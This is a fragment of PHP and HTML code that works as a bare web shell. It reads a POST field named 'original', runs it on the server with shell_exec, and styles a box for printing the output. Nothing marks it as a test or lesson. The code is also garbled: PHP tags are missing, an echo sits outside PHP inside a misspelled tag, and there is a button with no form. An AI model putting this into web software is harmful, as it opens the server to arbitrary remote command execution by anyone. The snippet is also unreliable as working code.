if ($_SERVER['REQUEST_METHOD'] === 'POST') { $command = trim($_POST['original']);$output=shell_exec($command);}<style>.box{ width:80%; background:black; padding:50px; border-radius:20px; box-shadow: 2px 6px rgba(0,0,0,0); margin-top:20px; text-align: left; color:white; }</style>

<button type='submit'>send</button>
<div class='box'> <per> echo $output;</per></div>